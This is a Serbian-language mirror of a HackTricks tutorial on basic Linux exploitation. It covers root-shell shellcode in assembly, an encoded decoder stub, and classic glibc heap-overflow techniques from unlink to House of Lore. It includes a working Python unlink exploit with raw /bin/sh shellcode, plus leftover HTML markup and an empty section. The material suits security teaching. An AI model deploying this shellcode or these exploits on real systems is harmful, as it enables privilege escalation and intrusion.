mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
495 lines
26 KiB
Markdown
495 lines
26 KiB
Markdown
# Linux Exploiting (Osnovno)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Vidi prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; čistimo eax\
|
||
xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Izvršiti syscall
|
||
|
||
**nasm -f elf assembly.asm** —> Vraća nam .o datoteku\
|
||
**ld assembly.o -o shellcodeout** —> Daje nam izvršnu datoteku formiranu od asemblerskog koda i možemo izvući opkodove sa **objdump**\
|
||
**objdump -d -Mintel ./shellcodeout** —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove
|
||
|
||
**Proverite da li shellcode funkcioniše**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u **strace ./PROGRAMA\_COMPILADO**
|
||
|
||
Prilikom kreiranja shellcode-a možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.
|
||
|
||
PRIMER **TRICK (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**Eksplatacija korišćenjem Staka(/bin/sh):**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Lovac na jaja:**
|
||
|
||
Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda.
|
||
|
||
**Polimorfni shellkodovi**
|
||
|
||
To su šifrovani shellkodovi koji imaju male kodove koji ih dešifruju i skoče na njih, koristeći trik Call-Pop, ovde je **primer Cezarove šifre**:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
## **5. Dodatne metode**
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
###
|
||
|
||
|
||
|
||
|
||
|
||
## **8 Preplavljenje hipa: Osnovni eksploiti**
|
||
|
||
**Dodeljeni fragment**
|
||
|
||
prev\_size |\
|
||
size | —Zaglavlje\
|
||
\*mem | Podaci
|
||
|
||
**Slobodan fragment**
|
||
|
||
prev\_size |\
|
||
size |\
|
||
\*fd | Ptr naprednog fragmenta\
|
||
\*bk | Ptr nazadnog fragmenta —Zaglavlje\
|
||
\*mem | Podaci
|
||
|
||
Slobodni fragmenti su u dvostruko povezanoj listi (bin) i nikada ne mogu biti dva slobodna fragmenta zajedno (spajaju se)
|
||
|
||
U "size" postoje bitovi koji pokazuju: Da li je prethodni fragment u upotrebi, da li je fragment dodeljen putem mmap() i da li fragment pripada primarnoj areni.
|
||
|
||
Kada se oslobodi fragment, ako su neki od susednih slobodni, oni se spajaju pomoću makroa unlink() i novi, veći fragment se prosleđuje frontlink() da ga ubaci u odgovarajući bin.
|
||
|
||
unlink(){\
|
||
BK = P->bk; —> BK novog fragmenta je onaj koji je imao prethodno slobodan fragment\
|
||
FD = P->fd; —> FD novog fragmenta je onaj koji je imao prethodno slobodan fragment\
|
||
FD->bk = BK; —> BK sledećeg fragmenta pokazuje na novi fragment\
|
||
BK->fd = FD; —> FD prethodnog fragmenta pokazuje na novi fragment\
|
||
}
|
||
|
||
Dakle, ako uspemo da promenimo P->bk sa adresom shell koda i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se:
|
||
|
||
BK = P->bk = \&shellcode\
|
||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||
|
||
Na taj način, shell kod se izvršava prilikom izlaska iz programa.
|
||
|
||
Takođe, 4. izjava unlink() piše nešto i shell kod mora biti prilagođen za ovo:
|
||
|
||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Ovo uzrokuje pisanje 4 bajta od 8. bajta shell koda, pa prva instrukcija shell koda mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shell koda.
|
||
|
||
Stoga se eksploit kreira:
|
||
|
||
U buffer1 ubacujemo shell kod počevši od skoka kako bi prešao na nops ili ostatak shell koda.
|
||
|
||
Nakon shell koda ubacujemo punjenje dok ne dođemo do polja prev\_size i size sledećeg fragmenta. Na tim mestima ubacujemo 0xfffffff0 (tako da se prev\_size prepisuje da ima bit koji kaže da je slobodan) i "-4" (0xfffffffc) u size (da bi kada proveri u 3. fragmentu da li je 2. bio slobodan, zapravo otišao na modifikovani prev\_size koji će reći da je slobodan) -> Tako kada free() istražuje, otići će na size 3. ali zapravo će otići na 2. - 4 i pomisliće da je 2. fragment slobodan. I tada će pozvati **unlink()**.
|
||
|
||
Pozivom unlink() koristi se kao P->fd prvi podaci 2. fragmenta, pa će se tamo ubaciti adresa koju želite prepisati - 12 (jer će u FD->bk dodati 12 adresi sačuvanoj u FD). I na toj adresi unosi se druga adresa koja se nalazi u 2. fragmentu, koja će biti adresa shell koda (lažni P->bk).
|
||
|
||
**from struct import \***
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Bit koji označava da je prethodni fragment slobodan treba biti 1**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, da program misli da je "size" 3. fragmenta 4 bajta unazad (pokazuje na prev\_size) jer tu gleda da li je 2. fragment slobodan**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Na početku payloada dodajemo 8 bajtova punjenja**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja će biti prepisana da bi se shell kod pokrenuo drugi put kada se pozove free)**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Kao što je rečeno, payload počinje sa 8 bajtova punjenja jer da**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modifikuje se 2. fragment, got\_free pokazuje gde ćemo sačuvati adresu addr\_sc + 12**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() oslobađajući u obrnutom redosledu (wargame)**
|
||
|
||
Kontrolišemo 3 uzastopna fragmenta i oslobađamo ih u obrnutom redosledu od rezervisanog.
|
||
|
||
U tom slučaju:
|
||
|
||
U fragment c se stavlja shell kod
|
||
|
||
Fragment a koristimo da prepisujemo b tako da size ima deaktiviran bit PREV\_INUSE tako da misli da je fragment a slobodan.
|
||
|
||
Takođe, u zaglavlju b se prepisuje size da bude -4.
|
||
|
||
Tada će program misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odvoji. Međutim, pošto je zaglavlje PREV\_SIZE -4, misliće da fragment "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na fragment koji počinje na b+4, pa će na b+12 biti pokazivač "fd" i na b+16 će biti pokazivač "bk".
|
||
|
||
Na taj način, ako stavimo adresu shell koda u bk i adresu funkcije "puts()" -12 u fd, dobijamo naš payload.
|
||
|
||
**Tehnika Frontlink**
|
||
|
||
Poziva se frontlink kada se nešto oslobodi i nijedan od susednih fragmenta nije slobodan, ne poziva se unlink() već se direktno poziva frontlink().
|
||
|
||
Korisna ranjivost kada se napadnuti malloc nikada ne oslobađa (free()).
|
||
|
||
Potrebno je:
|
||
|
||
Buffer koji može biti preplavljen funkcijom za unos podataka
|
||
|
||
Buffer koji je susedan ovom koji treba biti oslobođen i čije će se polje fd u zaglavlju promeniti zbog preplavljivanja prethodnog bafera
|
||
|
||
Buffer koji treba osloboditi sa veličinom većom od 512 ali manjom od prethodnog bafera
|
||
|
||
Buffer deklarisan pre koraka 3 koji omogućava prepisivanje prev\_size ovog
|
||
|
||
Na ovaj način, postižući preplavljivanje u dva malloca na nekontrolisan način i u jednom kontrolisanom ali koji se oslobađa samo jednom, možemo napraviti eksploit.
|
||
|
||
**Ranjivost double free()**
|
||
|
||
Ako se dva puta pozove free() sa istim pokazivačem, dva bina pokazuju na istu adresu.
|
||
|
||
U slučaju da se želi ponovo koristiti jedan, to se može uraditi bez problema. U slučaju da se želi koristiti drugi, dobiće isti prostor, pa ćemo imati lažirane pokazivače "fd" i "bk" sa podacima koje će upisati prethodna rezervacija.
|
||
|
||
**Nakon free()**
|
||
|
||
Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.
|
||
## **8 Preplavljenje hipa: Napredni eksploiti**
|
||
|
||
Tehnike Unlink() i FrontLink() su uklonjene modifikacijom funkcije unlink().
|
||
|
||
**The house of mind**
|
||
|
||
Samo jedan poziv free() je potreban da bi se izazvalo izvršavanje proizvoljnog koda. Cilj je pronaći drugi komad koji može biti preplavljen prethodnim i oslobođen.
|
||
|
||
Poziv free() dovodi do poziva public\_fREe(mem), koji radi:
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj počinje komad (mem-8)
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||
|
||
…
|
||
|
||
\_int\_free(ar\_ptr, mem);
|
||
|
||
}
|
||
|
||
U \[1] se proverava polje size bit NON\_MAIN\_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap\_for\_ptr() koja vrši and na "mem" ostavljajući 2,5 najmanje bita na 0 (u našem slučaju od 0x0804a000 postaje 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struktura heap\_info)
|
||
|
||
Na ovaj način, ako možemo kontrolisati komad na primer na 0x0804a000 i komad će biti oslobođen na **0x081002a0** možemo stići do adrese 0x08100000 i pisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi komad oslobodi, heap\_for\_ptr(ptr)->ar\_ptr će vratiti ono što smo napisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar\_ptr)
|
||
|
||
Na ovaj način se poziva \_int\_free(ar\_ptr, mem), odnosno, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||
…\
|
||
bck = unsorted\_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u komadu koji će biti oslobođen.
|
||
|
||
Kako je definisano unsorted\_chunks, znamo da:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Stoga, ako u av->bins\[2] napišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će se upisati u \_\_DTOR\_END\_\_ adresa drugog komada.
|
||
|
||
Drugim rečima, u prvom komadu moramo staviti na početak mnogo puta adresu \_\_DTOR\_END\_\_-12 jer će av->bins\[2] to izvući
|
||
|
||
Na adresi na koju padne adresa drugog komada sa poslednjih 5 nula moramo napisati adresu ovog prvog komada kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog komada i izvukao av->bins\[2] odande
|
||
|
||
U drugom komadu i zahvaljujući prvom, prepisujemo prev\_size sa skokom 0x0c i size sa nečim što će aktivirati -> NON\_MAIN\_ARENA
|
||
|
||
Zatim u komadu 2 stavljamo puno nops i na kraju shellcode
|
||
|
||
Na ovaj način će se pozvati \_int\_free(KOMAD1, KOMAD2) i pratiti instrukcije za pisanje u \_\_DTOR\_END\_\_ adresu prev\_size KOMAD2 koji će skočiti na shellcode.
|
||
|
||
Za primenu ove tehnike potrebno je da se ispune neki dodatni zahtevi koji malo komplikuju payload.
|
||
|
||
Ova tehnika više nije primenjiva jer je primenjen gotovo isti zakrpa kao i za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega.
|
||
|
||
**Fastbin**
|
||
|
||
To je varijanta The house of mind
|
||
|
||
interesuje nas izvršavanje sledećeg koda do kojeg se dolazi nakon prve provere funkcije \_int\_free()
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> Gde je fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
Na ovaj način, ako se postavi u "fb" adresa funkcije u GOT, na ovoj adresi će se postaviti adresa prepisanog komada. Za ovo će biti potrebno da je arena blizu adresa dtors. Tačnije, av->max\_fast mora biti na adresi koju ćemo prepisati.
|
||
|
||
S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av.
|
||
|
||
Zato ako u polje size stavimo veličinu 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će vratiti fastbins\[-1], koji će pokazivati na av->max\_fast
|
||
|
||
U ovom slučaju av->max\_fast će biti adresa koja će biti prepisana (ne na koju pokazuje, već ta pozicija će biti prepisana).
|
||
|
||
Takođe, mora se ispuniti uslov da komad koji je susedan oslobođenom komadu mora biti veći od 8 -> Pošto smo rekli da je veličina oslobođenog komada 8, u ovom lažnom komadu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom komadu, treba staviti na početak skok koji će pasti na nops).
|
||
|
||
Takođe, taj isti lažni komad mora biti manji od av->system\_mem. av->system\_mem je udaljen 1848 bajtova.
|
||
|
||
Zbog nula iz \_DTOR\_END\_ i malog broja adresa u GOT, nijedna adresa iz ovih sekcija nije pogodna za prepisivanje, pa pogledajmo kako primeniti fastbin za napad na stek.
|
||
|
||
Još jedan način napada je preusmeravanje **av** ka steku.
|
||
|
||
Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin\_index() će vratiti fastbins\[0] i možemo iskoristiti ovo da prepisujemo stek.
|
||
|
||
Za ovo ne sme biti nikakvih canary vrednosti ili čudnih vrednosti na steku, zapravo moramo biti u ovom stanju: 4 bajta nula + EBP + RET
|
||
|
||
4 bajta nula su potrebna da će **av** biti na ovoj adresi i prvi element **av** je mutex koji mora biti 0.
|
||
|
||
**av->max\_fast** će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja.
|
||
|
||
U **av->fastbins\[0]** će se prepisati adresa **p** i biće RET, tako će se skočiti na shellcode.
|
||
|
||
Takođe, u **av->system\_mem** (1484 bajta iznad pozicije na steku) će biti dosta smeća koje će nam omogućiti da preskočimo proveru koja se vrši.
|
||
|
||
Takođe, mora se ispuniti uslov da komad koji je susedan oslobođenom komadu mora biti veći od 8 -> Pošto smo rekli da je veličina oslobođenog komada 16, u ovom lažnom komadu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom komadu, treba staviti na početak skok koji će pasti na nops koji dolaze posle polja size novog lažnog komada).
|
||
|
||
**The House of Spirit**
|
||
|
||
U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive).
|
||
|
||
Na taj način, mogli bismo da nateramo ovaj pokazivač da pokazuje gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog komada mora biti manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da će nakon ovog ranjivog pokazivača biti pozvan malloc(40), veličina lažnog komada mora biti jednaka 48.
|
||
Ako na primer program pita korisnika za broj, možemo uneti 48 i usmeriti promenljivi pokazivač malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem.
|
||
|
||
Ako se ovo ostvari, kada se pozove sledeći malloc koji smo rekli da je malloc(40), biće dodeljena adresa EBP-u. Ako napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prebrisati kako EBP tako i EIP sa željenom adresom.
|
||
|
||
Ovo je zato što kada se oslobodi free(), čuvaće se da u adresi koja pokazuje na EBP steka postoji deo tačno veličine za novi malloc() koji se želi rezervisati, pa će mu dodeliti tu adresu.
|
||
|
||
**The House of Force**
|
||
|
||
Potrebno je:
|
||
|
||
* Prekoračenje u delu koji omogućava prebrisavanje wilderness-a
|
||
* Poziv malloc() sa veličinom definisanom od strane korisnika
|
||
* Poziv malloc() čiji podaci mogu biti definisani od strane korisnika
|
||
|
||
Prvo što se radi je prebrisavanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem hipa.
|
||
|
||
Drugo je promeniti av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti \&EIP - 8.
|
||
|
||
Moramo prebrisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača:
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunck\_at\_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim uzima vrednost trenutne adrese wilderness dela (trenutni av->top) i remainder je tačno ta adresa plus broj bajtova traženih od strane malloc(). Dakle, ako je \&EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je potrebno rezervisati u kontrolisanom mallocu toliko bajtova da av->top pokazuje na $EIP-8 za sledeći malloc():
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prebrisati.
|
||
|
||
Važno je znati da veličina novog dela wilderness bude veća od zahteva poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na \&EIP-8, veličina će biti tačno na EBP polju steka.
|
||
|
||
**The House of Lore**
|
||
|
||
**Korupcija SmallBin**
|
||
|
||
Oslobađeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Kada se deo oslobodi, ne stavlja se odmah u svoj bin već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodni oslobađeni može poslužiti, vraća se, ali ako se rezerviše veći deo, oslobađeni deo u unsorted bins se stavlja u odgovarajući bin.
|
||
|
||
Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max\_fast (obično 72) i manji od MIN\_LARGE\_SIZE (512).
|
||
|
||
Ako u binu postoji deo odgovarajuće veličine zahtevanog dela, on se vraća nakon što se odveže:
|
||
|
||
bck = victim->bk; Pokazuje na prethodni deo, jedina informacija koju možemo promeniti.
|
||
|
||
bin->bk = bck; Pretposlednji deo postaje poslednji, ako bck pokazuje na stek, sledećem rezervisanom delu će se dati ta adresa
|
||
|
||
bck->fd = bin; Zatvara se lista tako što pokazuje na bin
|
||
|
||
Potrebno je:
|
||
|
||
Rezervisati dva malloc-a, tako da se prvom može prekoračiti nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je veći malloc od drugog dela pre prekoračenja)
|
||
|
||
Malloc rezervisan sa adresom koju bira napadač mora biti pod kontrolom napadača.
|
||
|
||
Cilj je sledeći, ako možemo prekoračiti hip koji ispod ima već oslobođen deo u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo njegov pokazivač bk i taj deo postane prvi u listi bina i rezervisan je, bin će biti prevaren i reći će mu da je poslednji deo liste (sledeći za ponudom) na lažnoj adresi koju smo postavili (na steku ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvolu na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega.
|
||
|
||
Nakon oslobađanja promenjenog dela, potrebno je rezervisati deo veći od oslobođenog, tako da promenjeni deo izađe iz unsorted bins i ubaci se u svoj bin.
|
||
|
||
Kada se nađe u svom binu, vreme je da se promeni pokazivač bk preko prekoračenja kako bi pokazivao na željenu adresu.
|
||
|
||
Tako bin mora da sačeka dovoljno poziva malloc() da se ponovo koristi promenjeni bin i prevari bin tako što će mu reći da je sledeći deo na lažnoj adresi. Zatim će dobiti deo koji nas zanima.
|
||
|
||
Da bi se iskoristila ranjivost što je pre moguće, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se promeniti, oslobađanje tog dela, rezervacija dela većeg od dela koji će se promeniti, promena dela (ranjivost), rezervacija dela iste veličine kao ranjeno i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu.
|
||
|
||
Da bi se zaštitio ovaj napad, koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na victim. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog dela pokazuje na victim na steku. Da bi se prevazišla ova zaštita, napadač mora biti sposoban da na neki način (verovatno preko steka) upiše u odgovarajuću adresu adresu victim. Tako će izgledati kao pravi deo.
|
||
|
||
**Korupcija LargeBin**
|
||
|
||
Potrebni su isti zahtevi kao i pre i još neki, osim toga, rezervisani delovi moraju biti veći od 512.
|
||
|
||
Napad je sličan prethodnom, tj. treba promeniti pokazivač bk i potrebne su sve te pozive malloc(), ali takođe treba promeniti veličinu promenjenog dela tako da ta veličina - nb bude < MINSIZE.
|
||
|
||
Na primer, postavićemo veličinu na 1552 tako da 1552 - 1544 = 8 < MINSIZE (oduzimanje ne može biti negativno jer se upoređuje sa unsigned)
|
||
|
||
Takođe je uveden zakrpa da bi se to učinilo još složenijim.
|
||
|
||
**Heap Spraying**
|
||
|
||
Osnovna ideja je rezervisati što više memorije za hipove i popuniti ih nizom nops-a završenim shellcode-om. Takođe, kao jastuk se koristi 0x0c. Pokušaćemo da skočimo na adresu 0x0c0c0c0c, pa ako se neka adresa prepiše sa ovim jastukom, skočiće tamo. Osnovna taktika je rezervisati što je više moguće da vidimo da li se neki pokazivač prepiše i skočiti na 0x0c0c0c0c u nadi da tamo postoje nops.
|
||
|
||
**Heap Feng Shui**
|
||
|
||
Sastoji se od rezervacija i oslobađanja memorije kako bi se segmentirala memorija tako da između slobodnih delova ostanu rezervisani delovi. Bafer za prekoračenje će se nalaziti u jednom od tih delova.
|
||
**objdump -t ./exec | grep varBss** —> Tabela simbola, za izvlačenje adrese promenljivih i funkcija\
|
||
**objdump -TR ./exec | grep exit(func lib)** —> Za izvlačenje adrese funkcija iz biblioteka (GOT)\
|
||
**objdump -d ./exec | grep funcCode**\
|
||
**objdump -s -j .dtors /exec**\
|
||
**objdump -s -j .got ./exec**\
|
||
**objdump -t --dynamic-relo ./exec | grep puts** —> Izvlači adresu puts za prepisivanje u GOT\
|
||
**objdump -D ./exec** —> Disas ALL do ulaza plt\
|
||
**objdump -p -/exec**\
|
||
**Info functions strncmp —>** Info o funkciji u gdb
|
||
|
||
## Interesantni kursevi
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||
* [https://pwnable.tw/](https://pwnable.tw/)
|
||
* [https://ctf.hackucf.org/](https://ctf.hackucf.org/)
|
||
|
||
## **Reference**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|